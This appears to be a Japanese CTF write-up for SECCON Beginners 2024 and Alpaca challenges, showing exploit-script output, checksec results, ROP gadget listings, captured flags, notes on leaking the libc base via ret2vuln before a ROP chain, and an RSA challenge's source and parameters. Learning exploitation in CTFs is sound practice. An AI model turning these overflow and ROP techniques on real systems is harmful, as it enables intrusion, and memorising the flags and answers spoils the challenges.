$ python3 solve.py
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/echo/echo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 34.170.146.252 on port 17360: Done
b'\xf6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
Received: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6@
$ Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 34.170.146.252 port 17360
[*] Got EOF while sending in interactive
$ checksec --file=hexecho
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 43) Symbols No 0 1 hexecho
ここまで来てベースアドレスは実行のたびに変わるので見てからpayload書けないじゃんということに気づくが、さらに調べるとret2vuln(Return to Vulnerability?)という技があることを知った。
プログラムの脆弱性を使って当該処理自体の開始前にreturnさせることで同じ脆弱性を何度も利用するテクのことをいうらしい。
ret2vulnを使えば1回目でlibcのベースアドレスをリークさせ、その情報を使って2回目でROPをかけることができる。
$ python2 exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/simpleoverwrite/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
\x86\x11@\x00\x00\x00\x00\x00
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}
[*] Got EOF while reading in interactive
$
$ checksec --file=gachi-rop
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 46) Symbols No 0 2gachi-rop
ROPで解くつもりなので、rp++を使って使えそうなガジェットを探す。……が、全然なくて詰む。
$ ./rp-lin-x64 --file=gachi-rop --rop=7 | grep "pop"
0x0040116b: add byte [rcx], al ; pop rbp ; ret ; (1 found)
0x00401168: imul ebp, dword [rdi], 0x00 ; add byte [rcx], al ; pop rbp ; ret ; (1 found)
0x00401166: mov byte [0x00000000004040D8], 0x00000001 ; pop rbp ; ret ; (1 found)
0x004012ec: nop ; pop rbp ; ret ; (1 found)
0x0040116d: pop rbp ; ret ; (1 found)
0x004012ed: pop rbp ; ret ; (1 found)
$ python3 solve1.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './gachi-rop': pid 752553
0x75869865b000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve1.py:68: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Name:")
[*] Switching to interactive mode
Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5Sh\x98\x86u!!
\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04L\xc8\x00\x00\x00\xd6\x03\x00\x00\x00\x00\x00\x00\x00 \x00dummy.txt\x00\x00\x00\x0\xfce\x11\x04\x00\x00\x00\x00\x00\x00\x00@\x00flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00\[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 752553)
[*] Got EOF while sending in interactive
$ python3 solve2.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './gachi-rop': pid 753080
0x7854d3faa000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve2.py:70: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Name:")
[*] Switching to interactive mode
Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5C\xfd\xd3Tx!!
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 753080)
[*] Got EOF while sending in interactive
import os
from Crypto.Util.number import getPrime, isPrime
FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')
whileTrue:
p = getPrime(512)
q = 2 * p + 1if isPrime(q):
break
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
さらに、テキストファイルが同梱されている
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861